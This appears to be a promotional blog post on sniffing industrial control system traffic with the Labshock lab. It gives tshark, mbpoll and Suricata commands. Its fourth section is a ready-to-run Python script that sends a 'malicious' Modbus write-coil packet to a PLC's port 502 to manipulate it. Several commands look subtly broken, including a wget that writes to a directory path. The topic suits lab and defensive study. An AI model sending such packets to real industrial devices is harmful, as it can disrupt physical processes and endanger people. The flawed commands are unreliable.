Sniffing OT Traffic in ICS Networks with Labshock

Listen to this Post

Featured Image
Operational Technology (OT) and Industrial Control Systems (ICS) security is a critical yet often overlooked domain. A hands-on approach to understanding OT traffic can be achieved using Labshock, an open-source platform developed by Zakhar Bernhardt. This tool simplifies ICS/OT security testing and traffic analysis.

🔗 Labshock GitHub: https://github.com/zakharb/labshock

You Should Know: Practical OT Traffic Sniffing & Analysis

1. Setting Up Labshock for OT Traffic Analysis

Labshock provides a controlled environment for ICS/OT security research. Follow these steps to get started:

 Clone the Labshock repository 
git clone https://github.com/zakharb/labshock.git

Navigate to the directory 
cd labshock

Install dependencies (Python3 required) 
pip3 install -r requirements.txt

Launch Labshock 
python3 labshock.py 
  1. Sniffing OT Traffic with Wireshark & Tshark
    Since OT networks often use proprietary protocols, Wireshark is essential for deep packet inspection.
 Install Wireshark on Linux 
sudo apt install wireshark

Capture OT traffic (replace 'eth0' with your OT network interface) 
sudo tshark -i eth0 -Y "modbus || dnp3 || opcua" -w ot_traffic.pcap 

3. Analyzing Modbus Traffic (Common in ICS)

Modbus is a widely used OT protocol. Use `mbpoll` for testing Modbus devices:

 Install mbpoll (Modbus CLI tool) 
sudo apt install mbpoll

Query a Modbus device (replace IP and register) 
mbpoll -a 1 -t 3 -r 1 -c 1 192.168.1.100 

4. Simulating ICS Attacks with Python

Labshock allows simulating attacks like PLC manipulation. Example Python script:

import socket

Target ICS device (Modbus TCP) 
target_ip = "192.168.1.100" 
target_port = 502

Craft a malicious Modbus packet 
malicious_packet = b"\x00\x01\x00\x00\x00\x06\x01\x05\x00\x00\xFF\x00"

Send the packet 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
sock.connect((target_ip, target_port)) 
sock.send(malicious_packet) 
response = sock.recv(1024) 
print("Response:", response) 
sock.close() 

5. Detecting Anomalies in OT Traffic

Use Suricata for OT-specific intrusion detection:

 Install Suricata 
sudo apt install suricata

Download ICS-specific rules 
sudo wget https://github.com/dtag-dev-sec/ics-rule-set/raw/master/emerging-industrial.rules -O /etc/suricata/rules/

Start Suricata in ICS monitoring mode 
sudo suricata -c /etc/suricata/suricata.yaml -i eth0 

What Undercode Say

OT security is evolving rapidly, and tools like Labshock provide a practical way to understand ICS threats. Key takeaways:
– Traffic Sniffing is crucial for detecting unauthorized commands.
– Modbus/DNP3 are common attack vectors.
– Simulated Attacks help in building defensive strategies.

Future attacks on OT systems may leverage AI-driven exploits, making proactive defense essential.

Prediction

As OT-IT convergence grows, attacks on ICS will increase, requiring more open-source tools like Labshock for red-teaming and blue-teaming exercises.

Expected Output:

  • A PCAP file (ot_traffic.pcap) containing captured OT protocols.
  • Suricata alerts for suspicious ICS traffic.
  • Successful Modbus query responses.

IT/Security Reporter URL:

Reported By: Activity 7334994212758695936 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram